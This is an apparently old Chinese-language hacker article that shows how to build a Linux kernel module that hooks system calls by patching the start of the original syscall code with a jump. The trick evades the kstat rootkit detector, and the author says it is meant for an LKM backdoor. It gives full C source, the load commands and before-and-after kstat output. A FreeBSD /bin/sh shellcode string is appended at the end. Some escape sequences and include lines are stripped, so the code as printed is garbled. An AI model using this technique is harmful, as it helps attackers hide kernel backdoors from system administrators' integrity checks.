逃避kstat的检测的lkm程序的实现方法
作者: 大鹰
by e4gle
Netguard Security Teams,from www.netguard.com.cn,e4gle.org,www.xfocus.org
前言:
可以说是重提旧话了,以前每次翻译或写文章都很马虎,其实很多代码自己都没调试成功,还发个p啊, 正好和alert7合搞超级lkm后门,寻找一种可以逃避kstat的方法.其实是老话题了,于是翻以前的文章,研究一下发现当时自己真是很马虎,就把文章发表了,所以以后真的不敢再轻易发文章了,呵呵.
ok,我们进入正题,我个人认为这项技术还是不错的,真的很难被发现,呵呵:)
我现在要阐述一种可以不利用syscall table来挂接系统调用的方法(在linux的实现),我们都知道kstat的工作原理,它检测系统调用表即:syscall table,这个表大家都很了解,可恶的是,我们每次要挂接自己的系统调用时都需要在此表操作,所以极易被kstat发觉.我们看,我写一个lkm加载时我用kstat时显示如下(片断):
--------------------------------------------------------------------------------
SysCall Address
sys_exit 0xc01175c9
sys_fork 0xc381c408 WARNING! Should be at 0xc0108fdc
sys_read 0xc381c050 WARNING! Should be at 0xc0125199
sys_execve 0xc381c148 WARNING! Should be at 0xc0109033
sys_kill 0xc381c470 WARNING! Should be at 0xc01106f2
sys_getdents 0xc381c278 WARNING! Should be at 0xc012e155
--------------------------------------------------------------------------------
很显然看出哪些系统调用被修改了,所以我们现在挂接系统调用的方法的目的就是为了让kstat发现不了我们的踪迹.基本的前提是攻击时需要改变旧的系统调用来跳转到新的系统调用,因此控制权交给新的系统调用并且syscall table并没有变化。当然,当系统调用创建的时候原来的code必须被保存下来,这是大家都熟知的必须步骤了。原来的code被跳转指针替代并且系统调用看起来和平常一样正常运行。在这之后,跳转指针会再次放置等待下次使用。要发现这种攻击手段必须非常小心仔细地比较原系统调用的头几个字节来判断系统调用是否被截获。也就是说我们以前的截获实现是通过给syscall table注册一个new的sys call来截获,现在,新的方法是我们来修改旧的系统调用的code来实现挂接,加一个跳转指针指向new的sys call,并不需要添加注册到syscall table中,从而可以逃避kstat的检测。
ok,还是程序最具有说服力,偶写了这个简单的实现方法的code,很简单,我们修改uname调用,为了更清楚说明问题,我让它打印出一个标志代表lkm的正常运行,这个标志可以在/var/log/messages里面看到.
---------------------------------cut-------------------------------------------------
/*test only~ by e4gle from netguard security teams*/
#define __KERNEL__
#define MODULE
#define MODVERSIONS
#define S_KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SYSCALL_NR __NR_uname
static char syscall_code[7];
static char new_syscall_code[7] =
""xbdx00x00x00x00"" /* movl $0,%ebp */
""xffxe5"" /* jmp *%ebp */
;
extern void *sys_call_table[];
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
/*
uname
*/
int new_syscall(struct new_utsname *buf)
{
printk(""UNAME - here!I am e4gle!n"");/*这里我设了一个标志,如果lkm运行正常则在/var/log/messages里面会打印这个标志*/
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,/*保存原来的code地址*/
sizeof(syscall_code)
);
((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf);/*正常运行uname*/
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,/*用新的code地址覆盖*/
sizeof(syscall_code)
);
}
int init_module(void)/*我们看看加载上*/
{
*(long *)&new_syscall_code[1] = (long)new_syscall;
_memcpy(
syscall_code, sys_call_table[SYSCALL_NR],
sizeof(syscall_code)
);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code)
);
return 0;/*以上所作的就是用新的code地址来覆盖sys_call_table,当然,之前我们保留了原来的地址*/
}
void cleanup_module(void)
{
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
}
----------------------------------cut------------------------------------------------
我们先提取kstat的uname调用的结果,然后我们在加载我们的lkm之后运行kstat的结果做对比:
[e4gle@redhat]# kstat -s|grep uname
sys_olduname 0xc010e3f9
sys_uname 0xc010e3b7
sys_newuname 0xc01152fa
好,我们编译安装我们的lkm:
[e4gle@redhat]# gcc -O2 -c hehe.c
[e4gle@redhat]# insmod hehe.o
[e4gle@redhat]# lsmod
Module Size Used by
hehe 536 0 (unused)
pcnet32 10308 1 (autoclean)
[e4gle@redhat]#
ok,模块已经加载了,好,我们来验证模块有没有正确运行:
[e4gle@redhat]# tail /var/log/messages
Aug 28 23:29:45 redhat kernel: pcnet32.c:v1.25kf 26.9.1999 [email protected]
Aug 28 23:29:45 redhat inet: inetd startup succeeded
Aug 28 23:29:46 redhat keytable: Loading keymap:
Aug 28 23:29:46 redhat keytable: Loading /usr/lib/kbd/keymaps/i386/qwerty/us.kmap.gz
Aug 28 23:29:46 redhat keytable: Loading system font:
Aug 28 23:29:47 redhat rc: Starting keytable succeeded
Aug 28 23:29:51 redhat PAM_pwdb[394]: (login) session opened for user root by LOGIN(uid=0)
Aug 28 23:30:20 redhat PAM_pwdb[425]: (login) session opened for user e4gle by (uid=0)
Aug 28 23:30:26 redhat PAM_pwdb[446]: (su) session opened for user root by e4gle(uid=501)
Aug 28 23:32:39 redhat kernel: UNAME - Here!I am e4gle!
[e4gle@redhat]#
呵呵,不用多说了吧,最后一行日志已经打印出来我在程序中当初设的标志了,好,lkm算是正常工作了,没有罢工,哈:)
那我们来看看kstat呢?可以不可以查出uname调用被修改了呢?
[e4gle@redhat]# kstat -s|grep uname
sys_olduname 0xc010e3f9
sys_uname 0xc010e3b7
sys_newuname 0xc01152fa
大家可以和刚才提取的加载lkm之前的kstat输出做对比,没有改变吧?呵呵,就说到这儿,已经足够说明问题了.
/* FreeBSD 23 byte execve code. *
* e4gle.org *
******************************************************/
char fbsd_execve[]=
""x99"" /* cdq */
""x52"" /* push %edx */
""x68x6ex2fx73x68"" /* push $0x68732f6e */
""x68x2fx2fx62x69"" /* push $0x69622f2f */
""x89xe3"" /* movl %esp,%ebx */
""x51"" /* push %ecx - or %edx :) */
""x52"" /* push %edx - or %ecx :) */
""x53"" /* push %ebx */
""x53"" /* push %ebx */
""x6ax3b"" /* push $0x3b */
""x58"" /* pop %eax */
""xcdx80""; /* int $0x80 */
e4gle.org----The Personal Security Site